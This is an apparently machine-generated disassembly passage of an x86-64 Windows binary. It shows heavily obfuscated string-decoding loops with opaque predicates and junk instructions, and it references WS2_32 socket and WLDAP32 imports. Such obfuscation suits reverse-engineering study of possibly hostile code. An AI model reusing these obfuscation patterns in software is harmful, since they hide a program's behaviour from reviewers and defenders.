jne 0x1400e22ea
movabs rdx, 0xbb01bb4df7af22f0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x320]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e1900
inc rax
cmp r8, rax
jne 0x1400e231b
movabs rdx, 0x20fbad7a7d94d488
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e250e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e2349
movabs rcx, 0xecef91d3896037b8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 8
jmp 0x1400e26b5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e2377
movabs rcx, 0x52e984000f45e950
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x30
jmp 0x1400e26b2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e23a8
movabs rdx, 0xb8e3762c952b9ae8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x58
add r10b, dl
jmp 0x1400e2670
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e23dc
movabs rcx, 0x1edd68591b114c80
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
dec rbx
inc rbx
jmp 0x1400e1900
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e1df3
movabs rdx, 0xead14cb226dcafb0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e25f1
movabs rdx, 0xb6c5310b32a812e0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x20
add r10b, r11b
add r10b, dl
jmp 0x1400e2670
movabs rdx, 0x1cbf2337b88dc478
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, r11b
sub r10b, 0x48
jmp 0x1400e24e1
movabs rdx, 0xc489f26432ff0714
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x320]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e1900
movabs rdx, 0x5e900037ad19557c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x64
add r10b, dl
jmp 0x1400e250e
movabs rdx, 0xf8960e0b2733a3e4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3c
add r10b, dl
lea edx, [rbx + 0x44]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x320], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x10]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x70
add r11b, cl
mov byte [rbp + rbx + 0x320], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x320]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e1900
movabs rcx, 0x929c1bdea14df24c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x14
jmp 0x1400e26b5
movabs rdx, 0x60ae45590f9cdd84
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400e1900
movabs rcx, 0xfab4532c89b72bec
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x74
inc r9
dec rbx
inc rbx
jmp 0x1400e1900
movabs rcx, 0x94ba610003d17a54
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
lea edx, [rbx + 0x14]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x320], cl
inc r9
dec rbx
inc rbx
jmp 0x1400e1900
movabs rcx, 0xfcd2984dec3ab3f4
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, Ordinal_45
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400e1900
movabs rcx, 0x96d8a6216655025c
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 0x3e
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
lea edx, [rbx - 0x54]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0x320], cl
jmp 0x1400e26b2
movabs rcx, 0x30deb3f4e06f50c4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400e1900
movabs rcx, 0x98f6eb42c8d88a64
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, Ordinal_35
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x320]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e1900
movabs rcx, 0x7d6d6890c82aa1fc
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_ntohl
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
xor ebx, ebx
jmp 0x1400e1900
movabs rcx, 0x177376644244f064
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, Ordinal_35
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
xor ebx, ebx
jmp 0x1400e18f0
lea rax, [rbp + 0x169ac30]
jmp 0x1400e2777
lea rax, [rbp + 0x11c84fc]
jmp 0x1400e2777
lea rax, [rbp + 0x320]
mov qword [rsp + 0x30], rax
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x50]
call fcn.14002a0e0
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x70]
call fcn.1400285d0
nop
lea rcx, [rbp + 0x50]
call fcn.140028d40
mov byte [rbp + 0x90], 0x59
mov byte [rbp + 0x91], 0x59
mov byte [rbp + 0x92], 0x5a
mov byte [rbp + 0x93], 0x5b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x94], xmm0
mov dword [rbp + 0xa4], eax
mov word [rbp + 0xa8], ax
mov byte [rbp + 0xaa], al
movabs rdi, 0xc60c9b9eaa585f04
movabs rsi, 0x12b4f9dd42f3997c
movabs r15, 0x6af468ef2caedff4
movabs r14, 0x3ccc27fee995d994
movabs r12, 0x66e35620903819ac
movabs r13, 0x5a7c0b16f9653838
movzx r10d, byte [rbp + 0x3d0]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor ebx, ebx
cmp rbx, 0x1b
jae 0x1400e352d
movzx r11d, byte [rbp + rbx + 0x90]
cmp r8, rbx
ja 0x1400e3525
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400e2881
lea rcx, [rbx + r15]
mov rax, rcx
and rax, r11
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, r11
add r10b, 0x54
jmp 0x1400e28b0
je 0x1400e349d
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e340b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e33d2
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e33a4
nop
cmp r9, rbx
ja 0x1400e351d
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1400e28da
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x1400e2920
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e3356
inc rax
cmp r8, rax
je 0x1400e332b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e32df
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e32cb
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400e3295
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400e2f04
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400e2edb
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400e2eae
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400e2e7f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e2e56
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400e2e2f
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400e2e06
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400e2ddd
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e2db9
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400e2d7f
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x64]
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400e34f8
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400e34d3
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400e2aed
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400e2ad2
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400e2ab7
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400e2d15
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400e2c89
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400e2c55
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400e2930
lea r8, [r9 + 6]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400e2c20
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400e2bfc
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400e2bd3
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400e2baf
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400e2b88
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400e2b5f
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400e2b36
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400e2b0d
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400e2930
lea r8, [r9 + 0x2a]
lea r9, [r8 + 3]
jmp 0x1400e2930
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
jmp 0x1400e2920
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x1400e28b0
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
mov edx, Ordinal_41
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400e2855
movabs rcx, 0x3064dcf552c2f820
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400e3379
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400e2842
movabs rcx, 0xaeaa675a46a9b868
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400e3302
movabs rcx, 0xd8c1957bed4bf880
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
add r8, r9
jmp 0x1400e33f2
movabs rcx, 0x2d8c39d93ee3898
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
jmp 0x1400e33f2
movabs rcx, 0x2ceff1bf3a9078b0
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, Ordinal_26
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400e342f
movabs rcx, 0x57071fe0e132b8c8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
jmp 0x1400e3459
movabs rcx, 0x811e4e0287d4f8e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
movzx eax, byte [rbp + rbx + 0x90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e2842
movabs rcx, 0x6a584156a86a991c
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
mov byte [rbp + rbx + 0x90], r10b
inc rbx
jmp 0x1400e2842
movabs rcx, 0xbe869d99f5af194c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
cmp r8, 0x40
jae 0x1400e3241
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400e3108
movabs rdx, 0x42499c9c5003bc28
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x18
add r10b, dl
cmp r9, 8
jb 0x1400e2c79
movabs rcx, 0x9d61cf4bcdad3b38
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
movzx edx, r11b
sub dl, al
add dl, cl
lea r10d, [rdx*2 - 0x10]
jmp 0x1400e3379
movabs rcx, 0xe89dcbbb9c515964
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, Ordinal_35
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x1400e326d
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400e302a
movabs rdx, 0x7c3d00fda5ab5d24
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e2ca8
movabs rcx, 0xa44ba5b7fe123a18
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, Ordinal_45
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e2842
movabs rcx, 0xce62d3d9a4b47a30
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x1400e3459
movabs rcx, 0xf87a01fb4b56ba48
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 4
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400e342f
movabs rcx, 0x2291301cf1f8fa60
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, Ordinal_50
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400e33f2
movabs rcx, 0x4ca85e3e989b3a78
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
add r8, r9
jmp 0x1400e33f2
movabs rcx, 0x76bf8c603f3d7a90
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 8
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400e3302
movabs rcx, 0xa0d6ba81e5dfbaa8
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 0x34
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400e2842
movabs rcx, 0xcaede8a38c81fac0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
inc r9
dec rbx
inc rbx
jmp 0x1400e2842
movabs rcx, 0xf50516c533243ad8
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, ntohl
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400e3379
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400e2f21
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
mov edx, Ordinal_45
jmp 0x1400e2d2d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e2f5f
movabs rcx, 0x8c19373d54b0be08
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
movzx eax, byte [rbp + rbx + 0x90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e2842
inc rax
cmp r8, rax
jne 0x1400e2f90
movabs rcx, 0x6202091bae0e7df0
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, Ordinal_60
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400e3459
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e2fc2
movabs rcx, 0x37eadafa076c3dd8
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, ntohl
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400e342f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e2ff7
movabs rcx, 0xe3bc7eb6ba27bda8
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 0x34
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
add r8, r9
jmp 0x1400e33f2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e2d39
movabs rdx, 0xb9a5509513857d90
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400e32ff
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400e3058
movabs rdx, 0x5225d2dbff091d0c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x54
jmp 0x1400e3376
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e308c
movabs rcx, 0xfdf77698b1c49cdc
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 4
dec rbx
inc rbx
jmp 0x1400e2842
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e30a4
movabs rcx, 0x7fb1ec33bddddc94
jmp 0x1400e33dc
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e30d2
movabs rdx, 0x559abe12173b9c7c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x64
jmp 0x1400e342c
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400e2ca8
movabs rdx, 0x2b838ff070995c64
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e3459
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e3147
movabs rcx, 0x18326e7aa9617c10
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
movzx eax, byte [rbp + rbx + 0x90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e2842
inc rax
cmp r8, rax
jne 0x1400e3178
movabs rdx, 0xee1b405902bf3bf8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e3459
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e31a6
movabs rdx, 0xc40412375c1cfbe0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x20
jmp 0x1400e342c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e31db
movabs rdx, 0x6fd5b5f40ed87bb0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
jmp 0x1400e33f2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400e320f
movabs rcx, 0x1ba759b0c193fb80
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
dec rbx
inc rbx
jmp 0x1400e2842
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400e2ce5
movabs rdx, 0xc778fd6d744f7b50
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x30
jmp 0x1400e3376
movabs rcx, 0x734aa12a270afb20
add rcx, rbx
movzx eax, r11b
and al, cl
mov edx, reloc.WS2_32.dll_recv
sub dl, al
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, cl
add r10b, r11b
jmp 0x1400e3302
movabs rdx, 0x493373088068bb08
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, r11b
sub r10b, 0x38
jmp 0x1400e342c
movabs rcx, 0x4b3bfc6fcea41e2c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x34
movzx eax, byte [rbp + rbx + 0x90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e2842
movabs rdx, 0x9f6a58b31be89e5c
mov ecx, 0x3e
jmp 0x1400e341a
movabs rdx, 0x1dafe3180fcf5ea4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7c
add r10b, dl
lea edx, [rbx + 0x14]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0x90], cl
add r8, r9
jmp 0x1400e33f2
movabs rcx, 0x47c71139b6719ebc
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x24
dec rbx
inc rbx
jmp 0x1400e2842
movabs rdx, 0x9bf56d7d03b61eec
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x74
add r10b, dl
lea ecx, [rbx + 0x2c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x34
add r11b, cl
mov byte [rbp + rbx + 0x90], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400e2842
movabs rcx, 0x1a3af7e1f79cdf34
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6c
inc r9
dec rbx
inc rbx
jmp 0x1400e2842
movabs rcx, 0xc297b0689225df94
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xc
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400e2842
movabs rdx, 0xecaede8a38c81fac
mov ecx, Ordinal_41
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea edx, [rbx - 4]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x90], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx - 0x10]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x90], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e2842
movabs rcx, 0x40dd3acd860c9fdc
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 4
movzx eax, byte [rbp + rbx + 0x90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e2842
movabs rcx, 0x90fa844236da59c4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5c
jmp 0x1400e2840
movabs rcx, 0xbb11b263dd7c99dc
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 4
jmp 0x1400e2830
mov esi, dword [rbp + 0x17e7880]
jmp 0x1400e3533
mov esi, dword [rbp + 0x12d5874]
jmp 0x1400e3533
mov esi, dword [rbp + 0x90]
lea rcx, [rbp + 0x70]
call fcn.140028db0
mov r14, rax
mov byte [rbp + 0xb0], 0xe7
mov byte [rbp + 0xb1], 0xe1
mov byte [rbp + 0xb2], 0xff
mov byte [rbp + 0xb3], 0xe5
mov byte [rbp + 0xb4], __WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb5], xmm0
mov dword [rbp + 0xc5], eax
mov byte [rbp + 0xc9], al
movabs r15, 0x8284298128b70c0f
movabs r12, 0x7846374ab8294fd1
movabs r13, 0xf1f07c7b5ef34eab
movzx edx, byte [rbp + 0x3d0]
nop
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor ebx, ebx
mov r11d, ebx
movabs rax, 0x432add67ac9b0093
cmp r11, 0x1a
jae 0x1400e4213
movzx r10d, byte [rbp + r11 + 0xb0]
movzx ebx, r10b
nop word [rax + rax]
movzx edi, bl
cmp r8, r11
ja 0x1400e420a
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400e360e
lea rcx, [r11 + rax]
mov rax, rcx
and rax, r10
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r10
sub dl, 5
jmp 0x1400e363b
je 0x1400e418c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e4105
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400e40ce
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400e40a7
movzx ebx, r10b
nop
cmp r9, r11
ja 0x1400e4201
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400e3668
lea rcx, [r11 + r15]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x69
jmp 0x1400e36a0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e4063
inc rax
cmp r8, rax
je 0x1400e4039
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e4012
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e3ff1
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400e3c7e
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400e3c5d
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400e3c33
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400e3c0c
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e3beb
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e3bca
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400e3ba9
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400e3b88
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400e3b67
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400e3b34
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e36b0
lea r8, [r9 + 4]
lea r9, [r8 + 6]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400e41e0
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400e41bf
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400e3890
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400e3877
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400e385e
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400e3ada
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400e3a7e
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400e3a35
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400e3a09
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400e36b0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 2]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400e39d3
